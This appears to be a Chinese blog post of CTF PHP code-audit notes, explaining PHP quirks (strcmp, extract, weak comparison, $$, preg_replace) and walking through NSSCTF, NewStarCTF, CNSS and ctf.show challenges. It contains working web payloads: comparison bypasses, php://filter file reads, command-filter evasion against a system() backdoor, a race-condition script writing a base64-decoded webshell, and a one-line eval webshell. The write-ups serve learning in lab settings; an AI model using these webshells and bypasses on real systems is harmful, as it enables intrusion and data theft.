CTF-代码审计-PHP

一。知识

1.1 strcmp函数的绕过

使用 strcmp 函数来比较两个字符串,并根据返回的结果来判断哪个字符串更大。具体的规则如下:

如果 strcmp 返回一个正整数,那么第一个字符串大于第二个字符串。
如果 strcmp 返回0,那么两个字符串相等。
如果 strcmp 返回一个负整数,那么第一个字符串小于第二个字符串。


以下是一个示例,演示如何使用 strcmp 来判断哪个字符串更大:

php

$string1 = "apple";
$string2 = "banana";

$result = strcmp($string1, $string2);

if ($result > 0) {
    echo "$string1 大于 $string2";
} elseif ($result == 0) {
    echo "$string1 等于 $string2";
} else {
    echo "$string1 小于 $string2";
}

在这个示例中,strcmp 比较了 “apple” 和 “banana”,并返回一个正整数,因此输出是 “$string1 大于 $string2”。这表示 “apple” 在字典顺序中大于 “banana”。

strcmp 的参数只能是字符串,当我们传入数组时就会返回NULL,而判断使用的是==,NULL==0是 bool(true)的

代码测试

<?php
error_reporting(0);
$flag="{sadd44484878}";
if(isset($_GET['password']))


	if (strcmp($_GET['password'],$flag)==0)
	
		die('Flag: '.$flag);
	
	else
		print 'Invalid password';

?>

get 传参 password[] 数组,成功打出flag

1.2 extract–变量覆盖漏洞

extract()函数用法:
extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

该函数返回成功设置的变量数目。

如果当前符号表中有于数组键值变量名相同的,那么用数组键值的变量覆盖

直接看题
在这里插入图片描述

trim()函数

trim() 函数移除字符串两侧的空白字符或其他预定义字符。

ltrim() - 移除字符串左侧的空白字符或其他预定义字符

rtrim() - 移除字符串右侧的空白字符或其他预定义字符

本题利用extract()函数的变量覆盖漏洞原理构造payload

漏洞产生原因:extract()函数当只有一个参数时,默认的第二参数是:EXTR_OVERWRITE,如果有变量发生冲突,则覆盖已有的变量。

代码审计需要满足两个条件:

  1. if(isset($a)) ==> TRUE

  2. if(a==c) ==>TRUE

构造payload:

//利用extract()函数变量覆盖漏洞+php伪协议

http://123.206.87.240:9009/1.php?a=999&b=data://,999

1.4 substr strpos

substr(string,start,length)
函数返回字符串的一部分。

//从字符串中返回 "world":
<?php
echo substr("Hello world",6);
?>

strpos(string,find,start)
查找 “php” 在字符串中第一次出现的位置.

<?php
echo strpos("I love php, I love php too!","php");
?>
//输出:7

1.5 mb_substr,mb_strpos得到的变量即?前的内容

mb_substr() 函数返回字符串的一部分
下面:从0开始

<?php
echo mb_substr("菜鸟教程", 0, 2);
// 输出:菜鸟
?>

mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
下面:从0开始

<?php
$str = 'feiniaomy.com';
echo mb_strpos($str,'niao');
//输出:3 
?>

得到的变量即?前的内容

$_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );

1.6 scandir dir

scandir()
返回指定目录中的文件和目录的数组。
var_dump(scandir(“/”));

dir
返回一个 Directory 类实例

1.7 create_function

create_function(string a, string b)会创造一个匿名函数,传入的两个参数均为字符串
其中,字符串a中表示函数需要传入的参数,字符串b表示函数中的执行语句
例如,create_function(‘$a’, ‘echo(“hello”);’),我们需要把它看作:

function niming($a)
{
	echo("hello");
}

1.8 intval

intval() 函数用于获取变量的整数值

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

PHP 4, PHP 5, PHP 7

int intval ( mixed $var [, int $base = 10 ] )

参数说明:

$var:要转换成 integer 的数量值。
$base:转化所使用的进制。

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。

返回值

成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。

最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。

字符串有可能返回 0,虽然取决于字符串最左侧的字符。
实例

<?php echo intval(42); // 42 
echo intval(4.2); // 4 
echo intval('42'); // 42 
echo intval('+42'); // 42 
echo intval('-42'); // -42 
echo intval(042); // 34 
echo intval('042'); // 42 
echo intval(1e10); // 1410065408 
echo intval('1e10'); // 1 
echo intval(0x1A); // 26 
echo intval(42000000); // 42000000 
echo intval(420000000000000000000); // 0 
echo intval('420000000000000000000'); // 2147483647 
echo intval(42, 8); // 42 
echo intval('42', 8); // 34 
echo intval(array()); // 0 
echo intval(array('foo', 'bar')); // 1 ?>
//浮点数
echo intval(1.9);//1 壹

1.9 is_numeric

is_numeric() 函数用于检测变量是否为数字或数字字符串。

PHP 版本要求:PHP 4, PHP 5, PHP 7

语法

bool is_numeric ( mixed $var )

参数说明:

$var:要检测的变量。

返回值
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。

1.10 md5

md5() 函数计算字符串的 MD5 散列。

如果成功,则返回所计算的 MD5 散列,如果失败,则返回 false。
在这里插入图片描述

<?php
$str = "Hello";
echo md5($str);
?>
#输出:
#8b1a9953c4611296a827abf8c47804d7

1.11 preg_replace

换行符绕过
因为preg_replace函数只能匹配一行的数据,因此我们只需先传入换行符\n(URL:%0a),那么后面的传入便不再被匹配

> preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [,
> int $limit = -1 [, int &$count ]] ) 搜索 subject 中匹配 pattern 的部分, 以
> replacement 进行替换。
> 
> 参数说明:
> 
> $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
> 
> $replacement: 用于替换的字符串或字符串数组。
> 
> $subject: 要搜索替换的目标字符串或字符串数组。
> 
> $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
> 
> $count: 可选,为替换执行的次数。

1.12 $$

变量覆盖

比如,下面代码的最后一行

如果$verify = “flag2”, 那$$verify就是$flag2.

<?php
    error_reporting(0);
    require_once("flag.php");
    show_source(__FILE__);

    $pass = '0e0';
    $md55 = $_COOKIE['token'];
    $md55 = md5($md55);

    if(md5($md55) == $pass){
        if(isset($_GET['query'])){
            $before = $_GET['query'];
            $med = 'filter';
            $after = preg_replace(
                "/$med/", '', $before
            );
            if($after === $med){
                echo $flag1;
            }
        }
        $verify = $_GET['verify'];
    }

    extract($_POST);
    
    if(md5($verify) === $pass){
        echo $$verify;
    }
?>

1.13 用于打印的函数

echo
可以同时输出多个字符串,带多个参数,但并不要求使用圆括号,也没有返回值

echo 'PHP中文网<br>'
echo ('echo也可以带括号<br>');

print
print函数同时只能输出一个字符串,只能带一个参数,需要带圆括号而且会有返回值。当其执行失败时返flase

print('www.php.cn<br\>')

printf
printf函数带有两个参数,第一个参数是指定输出格式,第二个参数是要输出的变量。输出格式为:

%s: 按字符串; %d: 按整型; %b: 按二进制; %x: 按16进制; %o: 按八进制; $f: 按浮点型

/*
$var = 10;
printf('整型:%d<br>', $var);
printf('浮点型:%.2f<br>', $var); // 保留两位小数
printf('字符串:%s<br>', $var);
printf('二进制:%b<br>', $var);
printf('八进制:%o<br>', $var);
printf('十六进制:%x<br>', $var);
 
// 打印结果
/*
整型:10
浮点型:10.00
字符串:10
二进制:1010
八进制:12
十六进制:a
*/

sprintf
sprintf不能直接输出变量值,而是直接将值读取给指定的变量:

$ret = sprintf('%.2f', $var);
echo "结果:{$ret}<br>";

print_r
print_r这个函数用于输出数组,带一个或者两个()。如果参数二设置为true,则不会输出表达式信息,而是直接return回来:
mixed print_r ( mixed $expression [, bool $return = false ] )

$arr = array('name' => 'PHP中文网', 'site' => 'www.php.cn');
print_r($arr);
echo '<br>';
 
// 参数二设置为true则不会打印,而是直接返回
$arr1 = print_r($arr, true);
echo "{$arr1}<br>";

var_dump
var_dump用于输出变量的内容、类型、字符串的内容,常用于开发中调试使用

die
die函数经常会中断下面的执行,它会先输出内容,然后退出程序或者不输出内容:

if (!isset($type)) {
 die('I am die!<br>');
}

1.14 array_push()

向第一个参数的数组尾部添加一个或多个元素
在这里插入图片描述

1.15 in_array()

弱类型比较

函数搜索数组中是否存在指定的值。

in_array(value,array,type)

return boolen

value :要搜索的值

array : 被搜索的数组

type : 类型,true全等 ,false非全等(默认) `壹`

1.16 file_put_contents() file_get_contents()

int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )

将一个字符串写入文件

在这里插入图片描述

该函数将返回写入到文件内数据的字节数

file_get_contents(path,include_path,context,start,max_length)

将整个文件读入一个字符串

在这里插入图片描述

返回the read data 或者在失败时返回 FALSE.

1.17 basename

basename函数遇到非ascii字符时会将其舍弃(从前往后)

basename() 函数返回路径中的文件名部分。

在这里插入图片描述

1.18 请求参数中的非法宇符

php会把请求参数中的非法宇符转为下划线
NI+SA+=NI_SA_
在php中变量名字是由数字字母和下划线组成的,所以不论用 post 还是 get 传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as:CTF[SHOW.COM==CTF_SHOW.COM

注意:这种Trick只能在PHP版本小于8时有效,当PHP版本大于等于8并不会出现这种转换错误

二。文章

一。NSS

[NISACTF 2022]checkin

<?php
error_reporting(0);
include "flag.php";
// ‮⁦NISACTF⁩⁦Welcome to
if ("jitanglailo" == $_GET[ahahahaha] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦N1SACTF" == $_GET[‮⁦Ugeiwo⁩⁦cuishiyuan]) { //tnnd! weishenme b
    echo $FLAG;
}
show_source(__FILE__);
?>

将代码复制到everedit中,可以看到乱码
在这里插入图片描述

要传参的变量名及其值都变了

payload:

在这里插入图片描述/?ahahahaha=jitanglailo&‮⁦Ugeiwo⁩⁦cuishiyuan=‮⁦ Flag!⁩⁦N1SACTF

在这里插入图片描述

[GDOUCTF 2023]受不了一点

<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
    $b=$_POST['ctf'];
    $a=$_POST['gdou'];
    if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
        if(isset($_COOKIE['cookie'])){
           if ($_COOKIE['cookie']=='j0k3r'){
               if(isset($_GET['aaa']) && isset($_GET['bbb'])){
                  $aaa=$_GET['aaa'];
                  $bbb=$_GET['bbb'];
                 if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
                   $give = 'cancanwordflag';
                   $get ='hacker!';
                   if(isset($_GET['flag']) && isset($_POST['flag'])){
                         die($give);
                    }
                   if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
                       die($get);
                    }
                    foreach ($_POST as $key => $value) {
                        $$key = $value;
                   }
                    foreach ($_GET as $key => $value) {
                         $$key = $$value;
                    }
                   echo $flag;
            }else{
                  echo "洗洗睡吧";
                 }
    }else{
        echo "行不行啊细狗";
        }
  }
}
else {
  echo '菜菜';
}
}else{
  echo "就这?";
}
}else{
  echo "别来沾边";
}
?>
别来沾边

第1,2个if是MD5强类型绕过

POST:gdou[]=1&ctf[]=2

第3,4个if是给Cookie传参
在这里插入图片描述

第5,6个if是"=="弱类型比较

GET: /?aaa=114514&bbb=114514a

后面的if没有用了
之前的条件满足后就得到flag了
在这里插入图片描述

[鹤城杯 2021]Middle magic

<?php
highlight_file(__FILE__);
include "./flag.php";
include "./result.php";
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){

    $aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']);

    if(preg_match('/pass_the_level_1#/', $aaa)){
        echo "here is level 2";
        
        if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
            if ($_POST['admin'] == $_POST['root_pwd'])
                echo '<p>The level 2 can not pass!</p>';
        // START FORM PROCESSING    
            else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){
                echo "here is level 3,do you kown how to overcome it?";
                if (isset($_POST['level_3'])) {
                    $level_3 = json_decode($_POST['level_3']);
                    
                    if ($level_3->result == $result) {
                        
                        echo "success:".$flag;
                    }
                    else {
                        echo "you never beat me!";
                    }
                }
                else{
                    echo "out";
                }
            }
            else{
                
                die("no");
            }
        // perform validations on the form data
        }
        else{
            echo '<p>out!</p>';
        }

    }
    
    else{
        echo 'nonono!';
    }

    echo '<hr>';
}

?> 

1.代码分析
一共三层if,我们逐层看看:
第一个if要求aaa=pass_the_level_1#,但会将传入的level替换为filtered;
第二个if要求传入两个不相等变量admin和root_pwd,但要求两者sha1加密后相等;
第三个if要求传入level_3,对其进行json_decode后,需要$level_3->result == $result
2. 构造payload
[0x00] \n
第一个if,因为preg_replace函数只能匹配一行的数据,因此我们只需先传入换行符,那么后面的传入便不再被匹配:

/?aaa=%0apass_the_level_1%23

%0a%23分别是换行符和井号键的url编码

[0x01] a[]
第二个if,我们利用数组绕过,具体原因是sha1加密时,若传入的是数组,返回值为null:
admin[]=1&root_pwd[]=2
[0x02] JSON:level_3={“*”: *}
第三个if,我们传入一个JSON格式的字符串,即:

level_3={"result":0}

php弱比较在面对纯字符与0的比较时,会返回true,例如a == 0返回为true
此处推测$result是纯字符,因此构造result->0

将上述传入后得到flag:
在这里插入图片描述
——————————
在这里插入图片描述

[鹤城杯 2021]EasyP

考点:
basename函数遇到非ascii字符时会将其舍弃(从前往后) [变为_
疑点:
要加上index.php才行

<?php
include 'utils.php';

if (isset($_POST['guess'])) {
    $guess = (string) $_POST['guess'];
    if ($guess === $secret) {
        $message = 'Congratulations! The flag is: ' . $flag;
    } else {
        $message = 'Wrong. Try Again';
    }
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hacker :)");
}

if (isset($_GET['show_source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}else{
    show_source(__FILE__);
}
?> 

[分析区]

猜测一个叫做$secret的变量的值,跟这个毛线关系都没有

if (preg_match(‘/utils.php/*$/i’, $_SERVER[‘PHP_SELF’])) { … }:
检查$_SERVER[‘PHP_SELF’]的值是否匹配utils.php或以utils.php结尾的路径。

if (preg_match(‘/show_source/’, $_SERVER[‘REQUEST_URI’])){ … }:
检查$_SERVER[‘REQUEST_URI’]的值是否包含字符串"show_source"

if (isset($_GET[‘show_source’])) { … } else { … }:
显示文件的源代码,
——————————————————————————————

[知识区]

预定义全局变量
$_SERVER[‘PHP_SELF’]:

$_SERVER[‘PHP_SELF’] 包含了当前脚本文件的相对路径。它是当前执行的PHP脚本文件的名称,相对于服务器文档根目录。例如,如果当前执行的脚本是 http://example.com/myapp/index.php,那么 $_SERVER['PHP_SELF'] 的值将是 /myapp/index.php。
这个变量通常用于构建自引用的URL,例如在表单处理中,以确保表单的提交目标是当前页面。

$_SERVER[‘REQUEST_URI’]:

$_SERVER[‘REQUEST_URI’] 包含了完整的当前请求的URI(统一资源标识符),包括路径和查询字符串。它表示用户请求的整个URL,包括域名后的路径和查询参数(如果有的话)。
例如,如果用户请求的URL是 http://example.com/myapp/page.php?param=value,那么 $_SERVER['REQUEST_URI'] 的值将是 /myapp/page.php?param=value。

先考虑第二个if语句,我们在utils.php后面加一个非ascii字符即可(因为是从后往前找,遇到非ascii字符就停了):

GETPOST方式传进去的变量名,会自动将空格 + . [转换为_
所以这里我们传入show[source先通过第三个if,在第四个ifGET传参的时候会转换回_
basename() 函数返回路径中的文件名部分。

在这里插入图片描述

basename函数遇到非ascii字符时会将其舍弃(从前往后)

[瞎搞区]

payload:

/index.php/utils.php/哈哈?show[source=1

[WUSTCTF 2020]朴实无华

在这里插入图片描述

考点:

[0x00] 艰难找文件

访问/robots.txt得到/fAke_f1agggg.php

参考:

https://www.nssctf.cn/note/set/534

二。NewStarCTF 2023

Begin of PHP

<?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
}

第一处if:
MD5弱类型绕过:

?key1[]=1&key2[]=2

第二处if:
MD5弱类型绕过:

&key4[]=11

一二处都还可以:0e开头的全部相等

第三处if:
strcmp 的参数只能是字符串,当我们传入数组时就会返回NULL,而判断使用的是==,NULL==0是 bool(true)的:

key3[]=1

第四处if:

&key5=13123a

也是弱类型比较:2024a

第五处if:

extract()函数用法: extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

该函数返回成功设置的变量数目。

如果当前符号表中有于数组键值变量名相同的,那么用数组键值的变量覆盖

&flag5='

在这里插入图片描述

三。2022 CNSS夏令营

Signin

直接打开链接, 显示Please Change Your Method!. 改成Post后访问出现PHP代码:

<?php
error_reporting(0);
require_once("flag.php");
if($_SERVER['REQUEST_METHOD'] !=='POST'){
    die("Please Change Your Method!");
    exit();
}else{
    if(!isset($_POST["CNSS"])){
        show_source(__FILE__);
    }
    else if($_POST["CNSS"] === "join"){
        if((isset($_GET["web"])) && (($_GET["web"]) === "like")){
            setcookie("flag","0");
            if($_COOKIE['flag'] === '1'){
                echo $flag;
            }else{show_source(__FILE__);}
        }else{
            show_source(__FILE__);
        }
    }
}

需要在POST的data里加入CNSS: join, 在GET的args里写上?web=like, 并且设置cookie中flag=1, 就会打印flag啦~

Python代码

import requests

url = 'http://8.130.29.197:6001?web=like'
data = {'CNSS': 'join'}
cookies = {'flag': '1'}
x = requests.post(url, data=data, cookies=cookies)
print(x.text)

或Burp Suite,hackbar
在这里插入图片描述

结果
在这里插入图片描述

Trick

确实是一道搜索引擎应用题, PHP漏洞多, 不可能全部记住, 找到重点可疑句子拿去搜索, 大概率有结果
<?php
    error_reporting(0);
    require_once("flag.php");
    show_source(__FILE__);

    $pass = '0e0';
    $md55 = $_COOKIE['token'];
    $md55 = md5($md55);

    if(md5($md55) == $pass){
        if(isset($_GET['query'])){
            $before = $_GET['query'];
            $med = 'filter';
            $after = preg_replace(
                "/$med/", '', $before
            );
            if($after === $med){
                echo $flag1;
            }
        }
        $verify = $_GET['verify'];
    }

    extract($_POST);
    
    if(md5($verify) === $pass){
        echo $$verify;
    }
?>

[漏洞 0x00] 弱类型比较漏洞 (==)
php有两种类型比较的符号, 弱类型比较==和强类型比较===. 在弱类型比较时会转换变量类型, 这样有些不相等的东西也会变相等了.

这里就是利用了弱类型比较时, 0e开头且后面都是数字的字符串会被转换成科学计数法的数字, 也就是0的n次方, 都等于零. 所以’0exxxxx’都是弱比较相等的.

所以我们只需要找到md5加密两次之后, 开头还是0e的字符串. 写个Python脚本爆破一个出来Google一下能找到已经爆破好的字符串, 如f2WfQiv2Cn.

[漏洞 0x01] 正则匹配漏洞
如代码所示, 会把filter从字符串里去掉, 并且要求去掉后的字符串还是filter.

那么其实动动歪脑筋, 把这个单词拆开放在这个单词两边就行了, 如fifilterlter, 代码会把中间的filter字样去掉, 去掉了还是fliter这个单词.

所以把query设置成fifilterlter就好了.

这个时候运行就可以得到前半个flag了, 也就是flag1.

为什么只有一半的变量捏, 那有flag1肯定有flag2是吧, 我们怎么输出flag2捏?

在这里插入图片描述

[漏洞 0x02] extract漏洞
extract会把字典里的内容提取出来变成变量, 这个过程会覆盖掉原有的同名变量这样就可以替换掉.

所以我们post个verify和pass上去, 让md5(verify)和pass相等就行.

md5("flag2") = 9a48ddad2656385fce58af47a0ef56cf

[漏洞 0x03] 双$$转义漏洞
绕过了那个if了, 怎么打印flag2呢?

仔细看, 最后一个echo的是$$verify, 有两个$. 这样会将verify的内容当成变量名再取一次变量.

比如, 如果$verify = “flag2”, 那$$verify就是$flag2.

那么我们就只需要将verify设置成flag2即可打印出flag2

此时pass就是"flag2"这个字符串的md5值

代码及结果
完整Python源码:

import requests

url = 'http://8.130.29.197:6005?query=ffilterilter'
cookie = {"token": "f2WfQ"}
# md5("flag2") = 9a48ddad2656385fce58af47a0ef56cf
data = {"pass": "9a48ddad2656385fce58af47a0ef56cf", "verify": "flag2"}
x = requests.post(url, cookies=cookie, data=data)

print(x.text)

BlackPage

php://filter

打开网页, 在网页源码的注释里找到线索:

<?phps
$file = $_GET["file"];
$blacklist = "(**blacklist**)";
if (preg_match("/".$blacklist."/is",$file) == 1){
  exit("Nooo,You can't read it.");
}else{
  include $file;
}
//你能读到 mybackdoor.php 吗?

考点是php://filter和包含的应用

这里我们直接用php://filter/read=convert.base64-encode/resource=就能读取mybackdoor.php文件. 访问http://8.130.29.197:6006/?file=php://filter/read=convert.base64-encode/resource=mybackdoor.php即可.

在这里插入图片描述

Tab代替空格/URL编码

拿去base64解密后就能看到mybackdoor.php:

<?php
error_reporting(0);
function blacklist($cmd){
  $filter = "(\<|\>|Fl4g|php|curl| |0x|\\|python|gcc|less|root|etc|pass|http|ftp|cd|tcp|udp|cat|×|flag|ph|hp|wget|type|ty|\$\{IFS\}|index|\*)";
  if (preg_match("/".$filter."/is",$cmd)==1){  
      exit('Go out! This black page does not belong to you!');
  }
  else{
    system($cmd);
  }
}
blacklist($_GET['cmd']);
?>

这里禁用了很多命令, 甚至包括空格, 但是我们可以用tab来替代空格, tab在url编码里是%09, 所以ls /就可以写成ls%09/.

访问http://8.130.29.197:6006/mybackdoor.php?cmd=ls%09得到目录下文件, flag文件名为Fl4g_is_here

绕过正则匹配

在这里插入图片描述

现在我们需要输出这个文件, 有几个不同的方法

[方法 0x00] 单引号绕过preg_match

这里涉及到单引号可以绕过preg_match的考点, cat不能用, 写成c’a’t就行了.

于是输出命令就变成了c'a't%09F'l'4'g_is_here

[方法 0x01] 使用nl命令

nl是输出带行号的文件内容的命令, 且可以模糊匹配文件名, 这里没有被禁掉, 我们就可以直接nl%09/F[a-z]4g_is_here运行

[方法 0x02] 使用base64编码读取

linux的echo可以解码base64, 可以利用这个特性绕过正则, 输出工具用tac, nl这些都行, 反引号意思是将echo的结果输出给前面的命令, /Fl4g_is_here的加密结果为L0ZsNGdfaXNfaGVyZQ所以可以直接使用

nl%09`echo%09L0ZsNGdfaXNfaGVyZQ|base64%09-d`
或
tac%09`echo%09L0ZsNGdfaXNfaGVyZQ|base64%09-d`
输出flag

结果
上面的命令任选其一, 作为参数访问 http://8.130.29.197:6006/mybackdoor.php?cmd=即可.
在这里插入图片描述

太极掌门人

打开页面获得php代码

<?php
    error_reporting(0);
    show_source(__FILE__);

    function deleteDir($path) {

        if (is_dir($path)) {
            $dirs = scandir($path);
            foreach ($dirs as $dir) {
                if ($dir != '.' && $dir != '..') {
                    $sonDir = $path.'/'.$dir;
                    if (is_dir($sonDir)) {

                        deleteDir($sonDir);

                        @rmdir($sonDir);

                    } elseif ($sonDir !== './index.php'
                            && $sonDir !== './flag.php') {

                        @unlink($sonDir);

                    }
                }
            }
            @rmdir($path);
        }
    }

    $devil = '<?php exit;?>';

    $goods = $_POST['goods'];

    file_put_contents($_POST['train'], $devil . $goods);

    sleep(1);

    deleteDir('.');

?>

函数里一大段不用管, 用来删除你扔进去的文件的,主要是看后面这几行

$devil = '<?php exit;?>';
$goods = $_POST['goods'];
file_put_contents($_POST['train'], $devil . $goods);
sleep(1);
deleteDir('.');

很明显, 你可以通过file_put_contents写点文件到某个php文件里, 然后你有一秒的时间访问它.

但是写入它之前明显你需要先去掉或者绕过<?php exit;?>才能使你写入的代码正常执行.

所以这里就涉及到file_put_contents的漏洞问题了, 由于此函数的特性, 文件名处(也就是这段代码里的train), 可以使用php://filter语句, 我们就可以通过filter加解密的方式将破坏掉

php://filter/write=convert.base64-decode/resource=shell.php 可以将内容解密后再写入, 我们传入我们想要的代码的base64密文, 拼接在前面的<?php exit;?>会被解码成乱码, 而我们的代码可以正常解密.

需要注意的是, 由于符号不会被解密, <?php exit;?>被解密的就只有phpexit这七个字符. base64密文是4个为一组, 所以我们需要再多添一位.

比如, 我想执行<?php system('cat flag.php');?>, 这段话加密后为PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==, 我们在前面添加一位变成aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==. 这样传进去解码后的结果就是�^�+Z<?php system('cat flag.php');?>, 执行后直接就输出了.

Python代码:

import requests
from threading import Thread
from time import sleep

url = "http://8.130.29.197:6002/"
url2 = "http://8.130.29.197:6002/shell.php"
data = {
    'goods': 'aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==',
    'train': 'php://filter/write=convert.base64-decode/resource=shell.php',
}

t = Thread(target=requests.post, args=(url, data))
t.start()
sleep(0.5)
x = requests.get(url2)
print(x.text)

因为只有1s, 所以我用多线程同时访问两个页面, 不会超时.

结果:
在这里插入图片描述

四。ctf.show

web99

考点:
in_array中的弱类型比较

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}
?>

for循环里面的条件确实看不大懂,直接看里面的语句

in_array($_GET[‘n’], $allow)//检测n中是否有$allow的值,这里并没有第三个参数type,因此存在漏洞,就可以形成自动转换,即n=1.php会自动转换为1

然后就可以使用下面的payload生成含马文件

GET:?n=1.php
POST:content=<?php @eval($_POST[8]);?>

在这里插入图片描述

http://d1efc132-0538-42c6-9e3b-7a927d0d6500.challenge.ctf.show/1.php

连蚁剑
在这里插入图片描述
参考:https://blog.csdn.net/whisper921/article/details/124546397

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小蜗牛狂飙记

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值